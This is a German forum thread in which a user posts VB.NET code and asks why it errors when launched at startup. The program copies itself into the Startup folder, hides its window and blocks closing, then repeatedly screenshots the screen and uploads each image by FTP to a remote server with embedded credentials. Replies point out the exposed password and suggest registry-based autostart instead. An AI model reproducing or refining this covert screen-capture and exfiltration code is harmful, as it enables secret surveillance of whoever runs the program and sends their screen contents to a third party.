Hier der Code des Programms :


Public Class Form1

Dim a As String = Application.ExecutablePath
Dim b As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(a)

Dim Zeit As String = 1


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label1.Text += "1"
End Sub

Private Sub Screenshot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Screenshot.Tick
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
Zeit += "1"
My.Settings.Zeit = Zeit
My.Settings.Save()
Try
PictureBox1.Image.Save(Zeit & ".gif ", System.Drawing.Imaging.ImageFormat.Gif)
My.Computer.Network.UploadFile(Zeit & ".gif", "ftp://geflasht1.ge.funpic.de/" & Zeit + ".gif", "geflasht1", "900fersen")

Catch ex As Exception

End Try

End Sub

Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
e.Cancel = True
Me.Hide()
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.WindowState = FormWindowState.Minimized
Me.ShowInTaskbar = False
Try
IO.File.Copy(a, b)
Catch ex As Exception

Me.Hide()

End Try



Try
Zeit = My.Settings.Zeit
Catch ex As Exception
My.Settings.Zeit = "1"
My.Settings.Save()
Zeit = My.Settings.Zeit

End Try


End Sub
End Class


Immer , wenn das Teil jetzt mit dem Autostart gestartet wird kommt die Fehlermeldung ,,Das Konfigurationssystem konnte nicht initialisiert werden " Wenn ich sie wegklicke , kommt sie nach 3 sek wieder erst wenn ich auf beenden klick und es beendet wird ist Schluss Was mache ich falsch ?? Wieso startet es nicht ganz normal , so wie beim Debuggen ohne Fehler ???

geflasht1 schrieb:

My.Computer.Network.UploadFile(Zeit & ".gif", "ftp://geflasht1.ge.funpic.de/" & Zeit + ".gif", "geflasht1", "***")

:pinch: Passwort in ein öffentliches Forum posten...

außerdem gibts sowas wie einen VB-Tag
[/code]

mach das lieber über die registry und wenn schon bei Autostart im Startmenü, dann kopier nicht die exe dort rein sondern eine Verknüpfung

Man kopiert auch nicht die exe-Datei in Autostart-Ordner, sondern erstellt dort nur eine Verknüpfung.
Mögliche Ursache für das Problem: Abhängige Komponente konnte nicht gefunden werden (nicht im selben Verzeichnis wie die exe-Datei)

@jul Und mit deinem Zitat hast du es noch ein wenig offensichtlicher gemacht. Wie wärs mit einfach anschreiben und es ihm sagen, anstatt es für alle auf den ersten Blick sichtbar zu machen.

@Rinecamo:
tschuldigung aber das war schon offensichtlich genug, des sieht doch jeder ob mit Zitat oder ohne. Offensichtlich is es für ihn eh nicht so schlimm, weil ers sonst schon rausgenommen hätte.

Machs lieber gleich über die registry.

Win32 importieren dann:


Es sollte natürlich überprüft werden, ob der Eintrag existiert oder nicht.



MfG GTW